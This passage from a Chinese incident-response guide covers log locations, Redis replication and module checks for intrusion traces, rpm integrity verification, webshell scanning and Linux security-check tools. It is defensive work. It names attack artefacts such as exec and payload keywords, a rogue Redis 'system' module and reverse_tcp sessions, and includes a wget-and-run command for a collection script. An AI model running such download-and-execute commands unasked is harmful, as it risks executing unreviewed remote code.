其中 /var/mylogs/access.log即为客户日志的路径。
若此处未指明日志的完整路径而只是列举日志的文件名(如:access.log),
则意指该文件存储与默认的日志存储目录下(即,/var/log/httpd 或 /var/httpd 目录)
IIS日志:
IIS日志默认存储于 %systemroot%\system32\LogFiles\W3SVC目录中,
日志命名方式为exYYMMDD.log(YYMMDD指:年 月 日)。
但IIS日志路径也可通过用户配置来指定,通过WEB站点配置可确认其位置:
WEB站点 — 属性 — 网站 — W3C扩展日志文件格式 — 属性 — 日志文件目录
可以打开【Microsoft日志记录属性】对话框,查看日志文件目录及日志文件名,如图所示
常用日志检索命令:
查看docker的命令记录:docker logs -f -t --tail 1000 b0e34ee7b417 | more
或者直接进入docker容器里面,查看history等记录
Solr:
ubuntu@ubuntu:/opt/solr-8.1.1/example/techproducts/logs$ ls
solr-8983-console.log solr_gc.log.0.current solr.log solr.log.1 solr.log.2 solr.log.3 solr.log.4 solr_slow_requests.log
查看下log日志,直接寻找exec关键词,或者payload关键词
0x0A 数据库日志排查:
1)MySQL日志在Windows系统中,MySQL的默认配置路径为
C:\Windows\my.ini
、C:\Windows\mysql\my.ini
在Linux系统中,MySQL的默认配置路径为/etc/mysql/my.cnf
。查看是否开启日志审计,若开启,则将显示日志路径。
常规MySQL日志记录配置见表
redis的日志:
vim /etc/redis/redis.conf
logfile /var/log/redis/redis-server.log
redis主从复制排查:
看下replicaton记录,发现是有记录的(这种情况询问业务是否主从复制过,没有的话却又有主从复制的痕迹就很可疑了)
127.0.0.1:6379> info replication
# Replication
role:master
connected_slaves:0
master_replid:a5ef95e174d7d464f3563fd660e5ad8a009bef71
master_replid2:31f5d75bb871a43a2c5813da51212f9fdc31107a
master_repl_offset:0
second_repl_offset:1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
再看看加载module的记录,虽然有MODULE UNLOAD system卸载module,但有时候异常退出时,并不会删除,这时就会有痕迹:
127.0.0.1:6379> module list
1) 1) "name"
2) "system"
3) "ver"
4) (integer) 1
还可以查看dbfilename变量:127.0.0.1:6379> config get dbfilename
0x0B 系统完整性检测:
通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了:
rpm -Va > rpm.log
如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是8位长字符串,每个字符都用以表示文件与RPM数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。
验证内容中的8个信息的具体内容如下:
- S 文件大小是否改变
- M 文件的类型或文件的权限(rwx)是否被改变
- 5 文件MD5校验是否改变(可以看成文件内容是否改变)
- D 设备中,从代码是否改变
- L 文件路径是否改变
- U 文件的属主(所有者)是否改变
- G 文件的属组是否改变
- T 文件的修改时间是否改变
0x0C webshell查杀:
将当前网站目录文件与此前备份文件进行比对,查看是否存在新增的不一致内容,确定是否包含Webshell相关信息,并确定Webshell位置及创建时间。
可手工搜索可能包含Webshell特征的文件:
河马 WebShell 查杀:http://www.shellpub.com
牧云:https://github.com/chaitin/cloudwalker
如果攻击者在攻击成功后利用msf中的 reverse_tcp上线,那么在Wireshark数据包中一般会有PSH标志位,如图所示:
Linux安全检查脚本:
linux信息收集/应急响应/常见后门/挖矿检测/webshell检测脚本
项目地址:https://github.com/al0ne/LinuxCheck
git clone https://github.com/al0ne/LinuxCheck.git
chmod u+x LinuxCheck.sh
./LinuxCheck.sh
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.55/
make sense
cd ..
cp -r chkrootkit-0.55/ /usr/local/chkrootkit
chkrootkit
其他Linux安全检查脚本:
https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
https://github.com/T0xst/linux
Fastir Collector Linux:https://github.com/SekoiaLab/Fastir_Collector_Linux
收集artefacts,包括:内核版本、内核模块、网卡、系统版本、主机名、登录、网络连接、SSH know_host、日志文件、进程数据、自启动等信息:
wget https://raw.githubusercontent.com/SekoiaLab/Fastir_Collector_Linux/master/fastIR_collector_linux.py && python fastIR_collector_linux.py --debug --output_dir output
流量检测小工具:yum install iftop lsof -y
,执行iftop
<=、=> 表示流量的方向
TX 表示发送流量
RX 表示接收流量
TOTAL 表示总流量
Cum 表示运行 iftop 到目前时间的总流量
peak 表示流量峰值
rates 分别表示过去2s、10s和40s的平均流量
参考如下:
应急响应 - Webshell 处理 15
linux&windows应急响应(完善版)
update-rc.d的具体用法
Linux 应急响应
应急响应实战笔记
攻防演练之蓝队视角下的Linux信息收集
实战|一次应急挖矿木马